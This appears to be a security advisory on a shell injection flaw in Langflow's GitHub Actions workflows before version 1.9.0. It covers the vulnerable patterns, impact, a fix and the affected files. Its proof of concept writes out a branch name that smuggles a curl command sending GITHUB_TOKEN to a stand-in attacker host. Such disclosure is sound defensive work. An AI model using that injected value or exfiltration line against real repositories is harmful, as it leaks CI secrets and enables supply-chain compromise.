Langflow GitHub Actions Shell Injection

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

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Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

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PoC

1. Fork the Langflow repository 2. Create a new branch with the name: ``bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``

3. Open a Pull Request to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml) 5. The run: step containing: ``yaml echo "Branch: ${{ github.head_ref }}" ``

Will execute: ``bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``

1. The attacker receives the CI secret via the exfil URL.

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Impact

• Type: Shell Injection / Remote Code Execution in CI
• Scope: Any public Langflow fork with GitHub Actions enabled
• Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

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Suggested

Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.

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Affected

Files (Langflow 1.3.4)

• .github/actions/install-playwright/action.yml
• .github/workflows/deploy-docs-draft.yml
• .github/workflows/docker-build.yml
• .github/workflows/release_nightly.yml
• .github/workflows/python_test.yml
• .github/workflows/typescript_test.yml